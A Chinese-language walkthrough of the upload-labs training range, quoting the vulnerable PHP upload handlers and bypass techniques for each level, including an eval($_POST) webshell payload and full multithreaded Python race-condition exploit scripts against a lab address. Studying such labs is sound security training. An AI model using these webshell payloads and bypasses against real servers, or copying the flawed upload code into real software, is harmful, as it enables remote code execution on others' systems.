0x00 前言
文件上传漏洞可以说是getshell的一种好方式了,也是常见漏洞之一,本文结合upload-labs来对此种漏洞在PHP中的表现做一讲解。本文列出的参考链接都是一些不错的文章,像关于一些waf的上传bypass在本文不作讲解但是在参考链接的文章中就有包含。
0x01 Pass-01
这是一个前端验证的上传点,针对这种情况我们一般有以下4种绕过方法。
(1) 禁用js
firefox和chrome均有禁用js设置,禁用了就可以绕过。
(2) 上传按钮处修改
打开web控制台删除如图所示处的
1
| onsubmit="return checkFile()"
|
(3) 构造上传点
与2的原理是相同的,使用了和原来代码一样但是不包含onsubmit="return checkFile()"
这句代码
Like
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <html> <head> <title>upload-php</title> </head> <body> <div id="upload_panel"> <ol> <li> <h3>上传区</h3> <form action="此处填写完整的上传点URL" enctype="multipart/form-data" method="post"> <p>请选择要上传的图片:<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> </li> </ol> </div> </body> </html>
|
(4) 修改js代码
只需要修改js代码中的限制,让其包含你想上传的后缀名即可。
此处我们在checkFile()函数中的allow_ext变量中加入.php,之后在console run一下这段代码,随后上传便可成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } var allow_ext = ".jpg|.png|.gif.|.php"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
|
####(5) 神器burp
先将想要上传的php脚本的后缀修改为jpg绕过前端,使用burp截断后修改jpg为php继续上传即可。
0x02 Pass-02
查看代码发现是在服务端对文件的mime类型进行了校验。对于这种情况我们只需要使用burp抓包并修改content-type字段的内容即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name']; $is_upload = true;
} } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!'; } }
|
0x03 Pass-03
看了下代码发现黑名单对常见文件名进行了过滤,但是类似于”.php5”,”.php4”,”.php3”,”.php2”,”php1”这样的也是可以被当做php进行解析的。所以我们这时只需要将文件名修改为.php5就可以成功上传shell
注: 这个也是要服务器支持的,如果发现不能解析可以在apache配置文件中添加如下设置
1
| AddType Application/x-httpd-php .php .php3 .php5 .html
|
0x04 Pass-04
先看下代码,此处过滤的很严,所以此时要考虑下apache的解析特性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name']; $is_upload = true; } } else { $msg = '此文件不允许上传!'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
|
先介绍下.htaccess文件:
(1) .htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
(2) .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
(3) .htaccess的用途范围主要针对当前目录。
由上面可知在此处我们可以先上传一个.htaccess文件,来使apache可以将jpg文件当做php文件解析,但要注意并不是任何时候都可以上传一个有效的.htaccess文件的,在让.htaccess文件生效之前我们需要做两点配置:
(1) 修改httpd.conf,启用AllowOverride,即将如下代码
修改为
(2) 修改httpd.conf,增加如下语句
1
| LoadModule rewrite_module modules/mod_rewrite.so
|
第一步: 在.htaccess文件中写入如下内容
1
| AddType application/x-httpd-php .jpg
|
上传.htaccess
第二步: 修改shell.php为shell.jpg然后访问即可发现服务器对其进行了解析
注: 此处的方法在Pass-03中也是可以使用的
0x05 Pass-05
首先分析代码,我们可以看到这句$file_ext = strrchr($file_name, '.');
中的strrchr()
函数是有点问题的。这个函数的意思是“函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符”。
又考虑到apache的1.x版本和2.x版本是存在解析漏洞的,即“当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的 扩展名,如果都不认识,则会暴露其源码。比如 1.php.rar.ss.aa 会被当做PHP脚本执行”。
所以在此我们只需要将我们shell.php的名称修改为shell.php.ace.aaa,然后上传即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . '/' . $file_name; $is_upload = true; } } else { $msg = '此文件不允许上传'; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
|
注: 此处的黑名单是没有完全过滤的,并且在此处也没有将上传文件名转换为小写,比如形如shell.phP就可以达到上传绕过的目的
0x06 Pass-06
从代码可以看到过滤的可以说很严了,所以这个时候我们要考虑下操作系统的特性,此处前18题均使用Windows操作系统,而Windows操作系统对文件的命名规则是有特点的,比如:
1 2 3 4
| test.asp. test.asp(空格) test.php:1.jpg test.php:: $DATA
|
但是在此处代码过滤了’.’和’::$DATA’所以我们只能使用中间那两种方式。
注: 会被windows系统自动去掉不符合规则符号后面的内容
在此处使用burp抓包修改上传即可
0x07 Pass-07
此题bypass上传的原理与Pass-06相同,此处我们尝试下上传test.php .这种格式的文件,这种格式的文件在上传到Windows上之后文件中最后一个点会被去掉,所以你访问test.php .
和访问test.php
的效果是一样的。
0x08 Pass-08
此题发现相较于Pass-07而言对::$DATA
没有进行过滤,所以原理已经在Pass-06讲过了,在此处我们直接上传test.php:: $DATA
0x09 Pass-09
此题相较于Pass-07就多了下面这一行代码,所以我们可以采用与上原理相同的方式,构造test.php. .
进行上传绕过
1
| $file_name = deldot($file_name);//删除文件名末尾的点
|
0x10 Pass-10
首先分析下代码,可以看到问题出现在第8行的str_ireplace()
函数,此函数在此的作用是对$file_name
变量中含有$deny_ext
内容的部分替换为空,但是此操作只执行一次。“只执行一次”就是问题所在,如果我们上传类似test.pphphp
这样的文件,上传后文件会自动被修改为test.php
进而成功上传shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) { $img_path = $UPLOAD_ADDR . '/' .$file_name; $is_upload = true; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
|
0x11 Pass-11
分析代码发现最终返回的图片链接是“存储路径名+重命名后的文件名”,看到这个我们就可以联想到使用%00截断路径。
我们首先修改参数为index.php?save_path=../upload/test.php%00
;其次修改我们的test.php
为test.jpg
然后上传即可。
注: 此处应具有新建文件夹的权限,如果没有会报错并导致上传失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = '上传失败!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
0x12 Pass-12
此题diff了一下,发现代码与Pass-11中的是一摸一样的,想换换花样的话在此处我们可以使用0x00截断。
%00和0x00截断的原理都是一样的,即系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
0x13 Pass-13
分析下代码,发现此处就是对文件头进行了解析,此时只需要上传图片马或者在test.php文件的开头加上GIF89a即可。
多扯一句,图片马的制作就是将你的一句话木马追加到一张图片类型文件的后面。
此题的目的是上传,并不是getshell,所以到此就结束了,要想getshell还得配合文件解析漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = "上传失败"; } } }
|
0x14 Pass-14
分析一下代码,虽然写的不一样了,但是跟上一题差不多。所以同理可得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)){ return $ext; }else{ return false; } }else{ return false; } }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = "上传失败"; } } }
|
0x15 Pass-15
分析一下代码,关键在于exif_imagetype()
函数,这个函数的意思是读取一个图像的第一个字节并检查其签名。注意此处只检测图像的第一个字节。所以在此处我们在上一题使用的方法依旧可以生效
Like
JPG
1
| FF D8 FF E0 00 10 4A 46 49 46
|
GIF
(相当于文本的GIF89a)
PNG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| function isImage($filename){ $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } }
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else{ $msg = "上传失败"; } } }
|
0x16 Pass-16
分析代码发现此处对图片进行了二次渲染比对,这里的原理是对比两张经过php-gd库转换过的gif图片,如果其中存在相同之处,这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中,最终实现远程代码执行。
此处给一个已经构造的好的包含<?phpinfo();?>
的图片,PoC 密码:o34g
0x17 Pass-17
分析下代码发现多了unlink()
函数,这个函数的作用是删除指定文件,看到这个基本就可以确定这是一个条件竞争写shell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $is_upload = false; $msg = null;
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传失败!'; } }
|
我们首先先上传一个php脚本,内容如下:
1
| <?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
|
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import os import requests import hackhttp import threading
class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = "http://172.16.5.129/upload/shell.php" self.uploadUrl = "http://172.16.5.129/Pass-17/index.php"
def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print("[*]create file info.php success")
def _upload(self): print("upload file.....") hh = hackhttp.hackhttp() raw = """ POST /Pass-17/index.php?action=show_code HTTP/1.1 Host: 172.16.5.129 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://172.16.5.129/Pass-17/index.php?action=show_code Content-Type: multipart/form-data; boundary=---------------------------7566250541346608691122113904 Content-Length: 413 Cookie: PHPSESSID=95m62gnmge1fp26tg9c8hjj870 Connection: close Upgrade-Insecure-Requests: 1
-----------------------------7566250541346608691122113904 Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: text/php
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?> -----------------------------7566250541346608691122113904 Content-Disposition: form-data; name="submit"
上传 -----------------------------7566250541346608691122113904-- """ code, head, html, redirect, log = hh.http('http://172.16.5.129/Pass-17/index.php', raw=raw) print(str(code) + "\r")
def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get()
if __name__ == "__main__": threads = 20
for i in range(threads): t = RaceCondition() t.start()
for i in range(threads): t.join()
|
执行之后我们边可以发现在网站uploads目录下出现了我们想要的info.php
0x18 Pass-18
分析下题目,发现这个过滤只能上传指定文件,又看了apache版本,应该是有个解析漏洞。但是普通上传一个文件会被重命名,重命名后我们就找不到我们上传的shell了,所以我们在这里要让文件上传且不重命名,那么只能通过条件竞争来解决了,修改一下上题的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import hackhttp import threading
class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.uploadUrl = "http://172.16.5.129/Pass-18/index.php"
def _upload(self): print("upload file.....") hh = hackhttp.hackhttp() raw = """ POST /Pass-18/index.php HTTP/1.1 Host: 172.16.5.129 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://172.16.5.129/Pass-18/index.php?action=show_code Content-Type: multipart/form-data; boundary=---------------------------385016806609230031127102121 Content-Length: 352 Cookie: PHPSESSID=95m62gnmge1fp26tg9c8hjj870 Connection: close Upgrade-Insecure-Requests: 1
-----------------------------385016806609230031127102121 Content-Disposition: form-data; name="upload_file"; filename="test.php.7Z" Content-Type: text/php
<?php phpinfo();?> -----------------------------385016806609230031127102121 Content-Disposition: form-data; name="submit"
上传 -----------------------------385016806609230031127102121-- """ code, head, html, redirect, log = hh.http(self.uploadUrl, raw=raw) print(str(code) + "\r")
def run(self): while True: for i in range(10): self._upload()
if __name__ == "__main__": threads = 20
for i in range(threads): t = RaceCondition() t.start()
for i in range(threads): t.join()
|
可以看到只要我们足够快,我们的未重命名的文件就可以存在,哈哈
0x19 Pass-19
分析了一下代码,发现过滤的还是挺严的,但是重命名这里还是有文章可以做的,使用00截断的方式就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists($UPLOAD_ADDR)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) { $img_path = $UPLOAD_ADDR . '/' .$file_name; if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { $is_upload = true; }else{ $msg = '上传失败!'; } }else{ $msg = '禁止保存为该类型文件!'; }
} else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!'; } }
|
0x20 总结
bypass思路–考虑三个地方的特性:代码、容器、操作系统
危害–getshell、xss(如果文件名被存入数据库的话,可以造成xss)
PS:upload-labs的GitHub上写的是不是前端验证看速度,我感觉说的不好,应该右键看眼源码就好了,速度这种东西谁说的准呢。
最后附一张上传漏洞的脑图
0x21 参考
https://www.cnblogs.com/engeng/articles/5948089.html
https://paper.tuisec.win/detail/d511228cd560003
https://paper.tuisec.win/detail/e5e5fd3a08d8ff7
http://www.freebuf.com/vuls/128846.html
http://www.freebuf.com/articles/web/54086.html